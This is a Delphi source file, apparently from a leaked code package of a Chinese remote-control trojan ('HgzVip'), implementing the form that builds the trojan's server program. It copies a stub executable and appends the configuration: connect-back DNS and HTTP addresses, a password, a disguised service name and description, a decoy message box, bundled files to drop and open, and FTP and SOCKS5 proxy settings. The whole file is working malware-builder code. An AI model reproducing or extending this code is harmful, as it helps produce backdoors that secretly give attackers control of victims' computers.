www.pudn.com > HgzVip1.2_code.rar > ConfigServerUnit.pas
unit ConfigServerUnit;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DynamicSkinForm, SkinCtrls, ComCtrls, SkinBoxCtrls, StdCtrls,
Mask, ExtCtrls, SkinTabs, jpeg, ShellApi,DESCrypt, LangFrm;
type
FILE_INFO=record
Filename:array[0..MAX_PATH] of char;
Por:array[0..MAX_PATH] of char;
isopen:integer;
len:integer;
end;
type
TConfigServer = class(TLangForm)
SaveDialog1: TSaveDialog;
PageControl6: TspSkinPageControl;
TabSheet1: TspSkinTabSheet;
TabSheet2: TspSkinTabSheet;
Label8: TspSkinStdLabel;
ComboBox1: TspSkinComboBox;
Label9: TspSkinStdLabel;
ComboBox2: TspSkinComboBox;
CheckBox1: TspSkinCheckRadioBox;
CheckBox2: TspSkinCheckRadioBox;
TabSheet3: TspSkinTabSheet;
CheckBox6: TspSkinCheckRadioBox;
Label10: TspSkinStdLabel;
BtEdit: TspSkinEdit;
Label11: TspSkinStdLabel;
ZwEdit: TspSkinEdit;
Label12: TspSkinStdLabel;
ComboBox6: TspSkinComboBox;
Label13: TspSkinStdLabel;
ComboBox7: TspSkinComboBox;
TabSheet4: TspSkinTabSheet;
CheckBox3: TspSkinCheckRadioBox;
spSkinPanel1: TspSkinPanel;
OverEdit: TspSkinEdit;
Label26: TspSkinStdLabel;
NextButton: TspSkinButton;
TabSheet5: TspSkinTabSheet;
spSkinGroupBox1: TspSkinGroupBox;
spSkinGroupBox2: TspSkinGroupBox;
RadioBox5: TspSkinCheckRadioBox;
Label20: TspSkinStdLabel;
FtpPort: TspSkinEdit;
Label21: TspSkinStdLabel;
Ftpuser: TspSkinEdit;
Label22: TspSkinStdLabel;
Ftppass: TspSkinEdit;
Banner: TspSkinEdit;
Label23: TspSkinStdLabel;
RadioBox10: TspSkinCheckRadioBox;
Label17: TspSkinStdLabel;
Socks5port: TspSkinEdit;
Label18: TspSkinStdLabel;
Socks5User: TspSkinEdit;
Label19: TspSkinStdLabel;
Socks5pass: TspSkinEdit;
Button10: TspSkinButton;
TabSheet6: TspSkinTabSheet;
Label25: TspSkinStdLabel;
spSkinEdit1: TspSkinEdit;
spSkinButton1: TspSkinButton;
CheckBox10: TspSkinCheckRadioBox;
spSkinButton2: TspSkinButton;
spSkinPanel2: TspSkinPanel;
ListView1: TspSkinListView;
spSkinScrollBar22: TspSkinScrollBar;
spSkinScrollBar23: TspSkinScrollBar;
Label24: TspSkinStdLabel;
spSkinEdit2: TspSkinEdit;
RadioBox1: TspSkinCheckRadioBox;
Label14: TspSkinStdLabel;
ServerView: TspSkinEdit;
Label15: TspSkinStdLabel;
ServerName: TspSkinEdit;
Label16: TspSkinStdLabel;
ServerText: TspSkinEdit;
OpenDialog2: TOpenDialog;
spDynamicSkinForm1: TspDynamicSkinForm;
Label1: TspSkinStdLabel;
com126Edit: TspSkinEdit;
DnsEdit: TspSkinEdit;
Label2: TspSkinStdLabel;
httpEdit: TspSkinEdit;
Label3: TspSkinStdLabel;
Label4: TspSkinStdLabel;
Passwd: TspSkinEdit;
Label5: TspSkinStdLabel;
Image2: TImage;
UpDown1: TspSkinUpDown;
GrEdit3: TspSkinEdit;
Label6: TspSkinStdLabel;
Label7: TspSkinStdLabel;
BeizhuEdit: TspSkinEdit;
procedure NextButtonClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure OverEditButtonClick(Sender: TObject);
procedure CheckBox6Click(Sender: TObject);
procedure RadioBox5Click(Sender: TObject);
procedure RadioBox10Click(Sender: TObject);
procedure Button10Click(Sender: TObject);
procedure UpDown1Change(Sender: TObject);
procedure spSkinEdit1ButtonClick(Sender: TObject);
procedure spSkinButton1Click(Sender: TObject);
procedure spSkinButton2Click(Sender: TObject);
procedure RadioBox1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
function JieMi(s:string):string;
function JiaMi(s:string):string;
procedure Setfile1;
end;
var
ConfigServer: TConfigServer;
implementation
uses
Main,DlgshowUnit;
{$R *.dfm}
function TConfigServer.JieMi(s:string):string;
var str:String;
i:integer;
ch:char;
begin
Result:=s;
end;
function TConfigServer.JiaMi(s:string):string;
var str:string;
i:Integer;
ch:char;
begin
Result:=s;
end;
procedure TConfigServer.Setfile1;
var
i:integer;
SS:integer;
info:FILE_INFO;
fstream1:Tfilestream;
fstream2:Tfilestream;
buf:array[0..4096] of byte;
F:File;
Str:array [1..100] of char;
j,k,l,m,n:String;
S:String;
Each_size:array [1..27]of char;
SfileSize:integer;
begin
SfileSize:=0;
try
if ListView1.Items.Count>0 then
begin
try
fstream1:=tfilestream.Create(pchar(OverEdit.text),fmopenreadwrite);
fstream1.Seek(0,soFromEnd);
SfileSize:=fstream1.Size;
for i:=0 to ListView1.Items.Count-1 do
begin
Strpcopy(info.filename,extractfilename(ListView1.Items.Item[i].SubItems.Strings[0]));
Strpcopy(info.Por,ListView1.Items.Item[i].SubItems.Strings[1]);
fstream2:=tfilestream.Create(ListView1.Items.Item[i].SubItems.Strings[0],fmopenread);
fstream2.Seek(0,soFromBeginning);
info.len:=fstream2.Size;
if ListView1.Items.Item[i].Checked then
info.isopen:=1
else
info.isopen:=0;
fstream1.Write(info,sizeof(info));
while fstream2.Position<>fstream2.Size do
begin
SS:=fstream2.Read(buf,sizeof(buf));
fstream1.Write(buf,SS);
end;
fstream2.free;
end;
finally
fstream1.free;
end;
end;
except
end;
AssignFile(F,OverEdit.text);
FileMode:=2;
Reset(F,1);
Seek(F,Filesize(F));
for i:=1 to 2 do Str[i]:=Char(0);
j:=inttostr(ComboBox1.ItemIndex);
S:=JiaMi(j);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[1]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(ComboBox2.text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[2]:=Char(length(S));
for i:=1 to 3 do Str[i]:=Char(0);
if CheckBox1.Checked then j:='1'
else j:='0';
if CheckBox2.Checked then k:='1'
else k:='0';
S:=JiaMi(j+k);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,str,length(S));
Each_size[3]:=Char(length(S));
for i:=1 to 3 do Str[i]:=Char(0);
if CheckBox3.Checked then j:='1'
else j:='0';
if RadioBox1.Checked then k:='1'
else k:='0';
S:=JiaMi(j+k);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[4]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(ServerView.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[5]:=Char(length(S));
for i:=1 to 100 do Str[i]:=char(0);
S:=JiaMi(ServerName.Text);
for i:=1 to Length(S) do Str[i]:=S[i];
BlockWrite(F,Str,length(S));
Each_size[6]:=char(length(s));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(ServerText.text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[7]:=Char(length(S));
for i:=1 to 4 do Str[i]:=Char(0);
if CheckBox6.Checked then j:='1'
else j:='0';
k:=inttoStr(ComboBox6.ItemIndex);
l:=inttoStr(ComboBox7.ItemIndex);
S:=JiaMi(j+k+l);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[8]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(BtEdit.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[9]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(ZwEdit.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[10]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(inttoStr(SfileSize));
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[11]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(com126Edit.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[12]:=Char(length(S));
for i:=1 to 100 do Str[i]:=char(0);
S:=JiaMi(DnsEdit.Text);
for i:=1 to Length(S) do Str[i]:=S[i];
BlockWrite(F,Str,length(S));
Each_size[13]:=char(length(s));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(httpEdit.text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[14]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(Passwd.text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[15]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(GrEdit3.text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[16]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(inttostr(UpDown1.Position));
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[17]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(BeizhuEdit.text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[18]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
if RadioBox5.Checked then j:='1'
else j:='0';
S:=JiaMi(j);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[19]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(FtpPort.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[20]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(Ftpuser.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[21]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(Ftppass.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[22]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(Banner.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[23]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
if RadioBox10.Checked then j:='1'
else j:='0';
S:=JiaMi(j);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[24]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(Socks5port.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[25]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(Socks5User.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[26]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(Socks5pass.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[27]:=Char(length(S));
Blockwrite(F,Each_size,27);
for i:=1 to 7 do str[i]:=char(0);
S:=JiaMi('HGZVIP1');
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,7);
CloseFile(F);
MessageBox(0,Pchar(Translate('String4','生成自动上线服务端完成!')),Pchar(Translate('String5','提示')),MB_OK+MB_ICONINFORMATION);
end;
procedure TConfigServer.NextButtonClick(Sender: TObject);
begin
if Not HgzVip.NoisReg then
begin
Exit;
end;
try
if not FileExists(ExtractFilePath(Paramstr(0))+'Cache\CServer.exe') then
begin //找不到原始的服务器程序.请重新安装!
MessageBox(0,Pchar(Translate('String0','找不到原始的服务器程序.请重新安装!')),Pchar(Translate('String1','警告')),MB_OK+MB_ICONINFORMATION);
Close;
Exit;
end;
CopyFile(PChar(ExtractFilePath(Paramstr(0))+'Cache\CServer.exe'), PChar(OverEdit.Text),False);
Setfile1;
Close;
except //配置出错!请检查磁盘是否可写或其它!!
MessageBox(0,Pchar(Translate('String2','配置出错!请检查磁盘目标文件是否可写或其它!!')),Pchar(Translate('String3','出错')),MB_OK+MB_ICONINFORMATION);
end;
end;
procedure TConfigServer.FormCreate(Sender: TObject);
begin
OverEdit.Text:=ExtractFilePath(Paramstr(0))+DeCryptStr('F1ACB1ABF82402E97A48D9D8E9DEB058',Head);
ComboBox6.Items.Clear;
ComboBox6.Items.Add(Translate('ComboBox6[0]','普通'));
ComboBox6.Items.Add(Translate('ComboBox6[1]','询问'));
ComboBox6.Items.Add(Translate('ComboBox6[2]','警告'));
ComboBox6.Items.Add(Translate('ComboBox6[3]','错误'));
ComboBox6.ItemIndex :=0;
ComboBox7.Items.Clear;
ComboBox7.Items.Add(Translate('ComboBox7[0]','确定'));
ComboBox7.Items.Add(Translate('ComboBox7[1]','确定、取消'));
ComboBox7.Items.Add(Translate('ComboBox7[2]','是、否'));
ComboBox7.Items.Add(Translate('ComboBox7[3]','是、否、取消'));
ComboBox2.Items.Add(Translate('ComboBox7[4]','重试、取消'));
ComboBox7.Items.Add(Translate('ComboBox7[5]','终止、重试、忽略'));
ComboBox7.ItemIndex :=0;
end;
procedure TConfigServer.OverEditButtonClick(Sender: TObject);
begin
if SaveDialog1.Execute then
begin
OverEdit.Text:=SaveDialog1.FileName;
try
if pos('.exe',OverEdit.Text)=0 then
begin
OverEdit.Text:=OverEdit.Text+'.exe';
end;
except
end;
end;
end;
procedure TConfigServer.CheckBox6Click(Sender: TObject);
begin
Label10.Enabled:=CheckBox6.Checked;
Label11.Enabled:=CheckBox6.Checked;
Label12.Enabled:=CheckBox6.Checked;
Label13.Enabled:=CheckBox6.Checked;
BtEdit.Enabled:=CheckBox6.Checked;
ZwEdit.Enabled:=CheckBox6.Checked;
ComboBox6.Enabled:=CheckBox6.Checked;
ComboBox7.Enabled:=CheckBox6.Checked;
end;
procedure TConfigServer.RadioBox5Click(Sender: TObject);
begin
Label20.Enabled:=RadioBox5.Checked;
Label21.Enabled:=RadioBox5.Checked;
Label22.Enabled:=RadioBox5.Checked;
FtpPort.Enabled:=RadioBox5.Checked;
Ftpuser.Enabled:=RadioBox5.Checked;
Ftppass.Enabled:=RadioBox5.Checked;
Label23.Enabled:=RadioBox5.Checked;
Banner.Enabled:=RadioBox5.Checked;
end;
procedure TConfigServer.RadioBox10Click(Sender: TObject);
begin
Label17.Enabled:=RadioBox10.Checked;
Label18.Enabled:=RadioBox10.Checked;
Label19.Enabled:=RadioBox10.Checked;
Socks5User.Enabled:=RadioBox10.Checked;
Socks5Pass.Enabled:=RadioBox10.Checked;
Socks5port.Enabled:=RadioBox10.Checked;
end;
procedure TConfigServer.Button10Click(Sender: TObject);
var
Dlg:TDlgshowThread;
begin
if CheckBox6.Checked then
Dlg:=TDlgshowThread.Create(ZwEdit.Text,BtEdit.Text,ComboBox6.ItemIndex,ComboBox7.ItemIndex);
end;
procedure TConfigServer.UpDown1Change(Sender: TObject);
begin
HgzVip.ImageList2.GetIcon(UpDown1.Position,Image2.Picture.Icon);
end;
procedure TConfigServer.spSkinEdit1ButtonClick(Sender: TObject);
begin
if OpenDialog2.Execute then
begin
spSkinEdit1.Text:=OpenDialog2.FileName;
end;
end;
procedure TConfigServer.spSkinButton1Click(Sender: TObject);
begin
if (spSkinEdit1.Text='') or (not FileExists(spSkinEdit1.Text)) then
begin
MessageBox(0,Pchar(DeCryptStr('7493D03BEA79DA4E2D6845BBCD68C7CF9BCE3ACAF54159787F80BDED6F0737FE',Head)),Pchar(DeCryptStr('A470DE932E4721C6',Head)),MB_OK+MB_ICONINFORMATION);
Exit;
end;
with ListView1.Items.Add do
begin
Caption :='';
Subitems.Add(spSkinEdit1.text);
Subitems.Add(spSkinEdit2.text);
Checked:=CheckBox10.Checked;
end;
end;
procedure TConfigServer.spSkinButton2Click(Sender: TObject);
var
li: TListItem;
begin
li := ListView1.Selected;
if li = nil then Exit;
li.Delete;
end;
procedure TConfigServer.RadioBox1Click(Sender: TObject);
begin
Label14.Enabled := RadioBox1.Checked;
Label15.Enabled := RadioBox1.Checked;
Label16.Enabled := RadioBox1.Checked;
ServerView.Enabled := RadioBox1.Checked;
ServerName.Enabled := RadioBox1.Checked;
ServerText.Enabled := RadioBox1.Checked;
end;
procedure TConfigServer.FormShow(Sender: TObject);
begin
ComboBox6.Items.Clear;
ComboBox6.Items.Add(Translate('ComboBox6[0]','普通'));
ComboBox6.Items.Add(Translate('ComboBox6[1]','询问'));
ComboBox6.Items.Add(Translate('ComboBox6[2]','警告'));
ComboBox6.Items.Add(Translate('ComboBox6[3]','错误'));
ComboBox6.ItemIndex :=0;
ComboBox7.Items.Clear;
ComboBox7.Items.Add(Translate('ComboBox7[0]','确定'));
ComboBox7.Items.Add(Translate('ComboBox7[1]','确定、取消'));
ComboBox7.Items.Add(Translate('ComboBox7[2]','是、否'));
ComboBox7.Items.Add(Translate('ComboBox7[3]','是、否、取消'));
ComboBox2.Items.Add(Translate('ComboBox7[4]','重试、取消'));
ComboBox7.Items.Add(Translate('ComboBox7[5]','终止、重试、忽略'));
ComboBox7.ItemIndex :=0;
end;
end.